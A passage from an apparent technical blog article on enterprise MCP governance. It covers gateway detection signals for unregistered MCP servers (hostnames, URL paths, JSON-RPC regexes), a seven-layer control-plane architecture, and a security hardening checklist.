- No audit trail: tool calls made through unregistered servers never appear in enterprise logging.
- No DLP enforcement: sensitive data can flow through unapproved connectors without PII/PHI/PCI guardrails.
- No patch management: the developer's local install may be running a vulnerable version indefinitely.
- Bypassed approval workflows: high-risk tool calls that should require human approval proceed silently.
Detection Signal Classes
Cloudflare recommends "a multi-layer scanning approach" combining three signal categories to detect MCP traffic at the enterprise gateway [Cloudflare, April 2026].
Signal Class 1: Hostname Patterns:
# Hostnames indicating likely MCP traffic
Any host containing "mcp":
mcp.datadog.com
mcp.github.com
mcp.internal.acme.com
Subdomain patterns:
mcp.*
*.mcp.*
Signal Class 2: URL Path Signatures:
# URL paths indicating MCP traffic
/mcp # Current Streamable HTTP endpoint
/mcp/sse # Deprecated HTTP+SSE transport (still used by legacy / unauthorized servers)
/sse # Generic SSE endpoint (overlaps with non-MCP SSE; investigate context)
One important note on /mcp/sse: this is the deprecated HTTP+SSE transport path. The official MCP specification confirms that HTTP+SSE (introduced in protocol version 2024-11-05) was superseded by Streamable HTTP starting in spec version 2025-03-26 [MCP Spec, 2025-11-25]. The path stays a primary detection target precisely because unauthorized and legacy servers still use it. Do not filter it out as "deprecated." Detecting it is the point.
Signal Class 3: DLP Body Inspection:
# JSON-RPC method signatures
Standard MCP method names to match:
initialize
tools/list
tools/call
resources/read
prompts/get
sampling/createMessage
# Protocol version regex
"protocolVersion":\s*"202[4-9]"
# Example: detect in gateway DLP body-inspection rule
match: '("method"\s*:\s*"(initialize|tools/list|tools/call|resources/read|prompts/get|sampling/createMessage)")'
match: '"protocolVersion"\s*:\s*"202[4-9]"'
All six method names above are confirmed in the MCP specification [MCP Spec, 2025-11-25]. Cloudflare's DLP body-inspection rules also include resources/list, prompts/list, notifications/initialized, and roots/list as additional targets, scanning the first 1,024 bytes of POST request bodies [Cloudflare Docs, 2026].
The protocolVersion field uses date-based version identifiers (e.g., "2024-11-05", "2025-03-26", "2025-11-25") [MCP Spec, 2025-11-25], making the regex "202[4-9]" an effective forward-compatible detection pattern.
Combining Signals:
A single signal (a path of /sse) will produce false positives. Combine signals for confidence:
# High-confidence shadow MCP detection rule
IF (hostname contains "mcp")
OR (path is "/mcp" OR "/mcp/sse")
OR (body matches JSON-RPC method signature AND body matches protocolVersion regex)
THEN flag for investigation
Shifting Shadow MCP Detection Left
The next frontier is catching shadow MCP in CI/CD pipelines before deployment, not just at the runtime gateway:
- Dependency scanning for
@modelcontextprotocol/*packages in PRs/MRs. The official TypeScript SDK ships as@modelcontextprotocol/sdkon npm (current stable: v1.x) [npm, 2026]; the inspector ships as@modelcontextprotocol/inspector[npm, 2026]. Scanning for these package names inpackage.jsonor lock files detects MCP adoption in repos before they reach production. - Config scanning for MCP server config files (
.mcp.json,claude_desktop_config.jsonpatterns) to detect unapproved servers being added to developer environments. - Runtime policy at the gateway remains the backstop, but CI/CD detection catches governance violations before they hit production.
The Seven-Layer Enterprise Architecture Blueprint
The enterprise MCP gateway literature converges on a common architectural pattern: a centralized gateway as a control plane between AI agents and MCP servers, combining registry, authentication, policy enforcement, and observability into one governed layer [Composio, 2026; arxiv:2504.19997, 2025].
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Enterprise MCP Control Plane β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β [1] Registry / Catalog β Source of truth for approved servers β
β β
β [2] Gateway / Portal β Discovery, SSO, MFA, DLP, cost, β
β shadow MCP detection β
β β
β [3] Policy Engine β Tool-level allow/deny/require approval β
β β
β [4] Remote Runtime β Containerized servers, no long-lived β
β secrets, egress controls β
β β
β [5] Connector Layer β Jira, GitHub, Slack, databases, β
β internal APIs β
β β
β βββββββββββββββββββββββ cross-cutting ββββββββββββββββββββββββββββββ β
β β
β [6] Observability / Audit β Deep logging, correlation IDs, β
β anomaly detection, SIEM integration β
β β
β [7] CI/CD Security β Every MCP server through governed β
β pipelines; dependency scanning; β
β no ad-hoc deploys β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Layer 1: Registry / Catalog:
Authoritative inventory of every approved MCP server in the organization. Each entry contains owner, purpose, data classification, risk tier, approved tools, required scopes, and deployment status. No server is reachable via the gateway unless it appears in the registry. The registry is the audit basis: if a tool call happens and the server is not in the registry, that is an anomaly by definition.
Layer 2: Gateway / Portal:
The single entry point for all MCP traffic. Discovery and enforcement combined. It enforces SSO, MFA, and device posture checks. It controls DLP guardrails (blocking PII/PHI/PCI from leaving approved channels), cost controls (rate limiting, token budget enforcement), and shadow MCP detection. It exposes only authorized tools per identity/group via the portal.
The March 2025 MCP spec update (protocol version 2025-03-26) introduced OAuth 2.1 and Streamable HTTP as the foundation for enterprise MCP deployment. The gateway is the natural OAuth 2.1 authorization server in this model [Composio, 2026; MCP Spec, 2025-11-25].
Layer 3: Policy Engine:
Evaluates the tool-level authorization decision model for every tool call:
principal + client + tool + resource + environment + data_classification + risk β allow / deny / require approval
The policy engine must be auditable, version-controlled, and reviewable in security reviews. Policy as code.
Layer 4: Remote Runtime:
Containerized execution environment for MCP servers. Requirements: no long-lived secrets in the container (use secrets management); egress controls (allow only approved outbound destinations); no root-level access; immutable container images pinned to verified versions.
The anti-pattern: MCP servers running as persistent VMs with long-lived service account credentials stored in environment variables. Security researchers disclosed GitHub token leaks and remote code execution vulnerabilities in MCP integrations in March 2026 [Integrate.io, 2026], mitigated by tool-level scoping and input validation at the gateway. The runtime must be hardened, not merely functional.
Layer 5: Connector Layer:
The integrations from MCP servers to internal systems (Jira, GitHub, Slack, SQL databases, internal REST APIs). Each connector uses scoped, short-lived credentials. Connectors are audited and listed in the registry. No connector bypasses the policy engine.
Layer 6: Observability / Audit (Cross-Cutting):
Deep logging of every tool call with full context. Minimum log fields per call: user, client, tool, resource, scope, decision, correlation_id, timestamp, duration. Logs must flow to your SIEM for anomaly detection and compliance reporting. Retention must meet your organization's compliance requirements (SOC 2, HIPAA, PCI, etc.).
Layer 7: CI/CD Security (Cross-Cutting):
Every MCP server goes through a governed pipeline before reaching production. Pipeline requirements: dependency vulnerability scanning, code review, secrets scanning, image signing, approval gate for production deploys. The anti-pattern: developers deploying MCP servers directly to production without pipeline review.
Hardening Checklist
| Category | Control | Severity |
|---|---|---|
| Authentication | SSO + MFA enforced at the gateway for all MCP access | Critical |
| Authentication | Device posture check before portal access | High |
| Tokens | All tokens short-lived and audience-bound | Critical |
| Tokens | Token passthrough explicitly blocked | Critical |
| Tokens | No long-lived credentials in the server runtime | Critical |
| Authorization | Tool-level policy engine in place | Critical |
| Authorization | Approval workflow for high-risk tools | High |
| Authorization | Policy as code, version-controlled | High |
| Tool exposure | Progressive disclosure via the portal | High |
| Tool exposure | High-risk tools invisible to unauthorized identities | High |
| Write controls | Default-deny write controls on all new servers | Critical |
| Write controls | Write operations require an explicit scope | High |
| Secrets | Secrets managed via a vault, not env vars | Critical |
| Secrets | Secrets rotated on a schedule | High |
| Runtime | All servers containerized | High |
| Runtime | Immutable images pinned to signed versions | High |
| Network | Egress controls on the server runtime | High |
| Network | Private IP ranges blocked from discovery URLs | Critical |
| Network | HTTPS enforced for all MCP endpoints | Critical |
| Data | DLP guardrails on the portal (PII/PHI/PCI) | Critical |
| Data | Data classification in the registry for every server | High |
| Logging | All tool calls logged with a correlation ID | Critical |
| Logging | Logs flowing to a SIEM | High |
| Governance | Internal registry for all approved servers | Critical |
| Governance | No server reachable unless it is in the registry | Critical |
| Detection | Shadow MCP hostname / path / body detection at the gateway | High |
| Detection | MCP dependency scanning in CI/CD | High |
| Testing | Penetration test covers tool-level auth bypass | High |
| Testing | Scope escalation paths tested | High |
The Bottom-Line Pattern
central registry + remote managed servers (not local installs) + identity-aware gateway + least-privilege tools + deep audit logging + DLP + shadow MCP detection = an organizational access layer you can govern and defend
Agentic AI systems amplify every gap in this stack, because agents chain tools and a compromised step propagates forward through the entire sequence. Each component is necessary. The registry without a gateway means no enforcement. The gateway without a registry means no source of truth. The audit log without correlation IDs means no traceability. These layers form an integrated system. Shortcutting any one of them leaves a gap that shadow MCP, supply-chain attackers, or scope creep will find.
What Comes Next
This article has covered the architecture and the checklist. The deep, runnable implementations ship in four follow-up example articles:
- Enterprise MCP Gateway: building and operating the gateway/portal, including authentication flows, DLP rules, and routing.
- Enterprise MCP Scopes: implementing the scope ladder and step-up approval workflows in practice.
- Enterprise MCP Registry: designing and operating the curated internal catalog.
- Enterprise MCP Detection: implementing shadow MCP detection across hostname patterns, URL signatures, body inspection rules, and SIEM integration.
The architecture decisions you make in the next few months will determine whether MCP becomes a governed access layer or a shadow IT problem that security is still cleaning up two years from now. The playbook is here. The implementation is yours to build.
Related Links
Enterprise MCP strand
- Enterprise MCP: Building the Control Plane for AI Agent Access (this article)
- Enterprise MCP Example: An Identity-Aware MCP Gateway (planned)
- Enterprise MCP Example: Progressive Scopes and Step-Up Approval (planned)
- Enterprise MCP Example: An Internal MCP Registry and Code Mode (planned)
- Enterprise MCP Example: Detecting Shadow MCP (planned)
MCP in Production (practitioner series)
- MCP Fundamentals: Building an MCP Server with Tools, Resources, Prompts, Sampling, and Roots
- Taking MCP to Production: Transport, Identity, and Hardening
- Why Your MCP Server Fails Its First Security Review: 14 Gaps and a Scorecard
Strategic MCP articles
- Do Agent Skills Kill MCP? Only If You Ignore the Timeline
- Search First, Load Details Second, Act Third: Speakeasy's Mature MCP Pattern for AI Agents
- Is MCP Dead? The Context Crisis That Broke Naive Tool Loading
- MCP Maturity Levels: Understanding Model Context Protocol Through One Running Example
- The MCP Ecosystem Explosion: Building Your Agent's Toolkit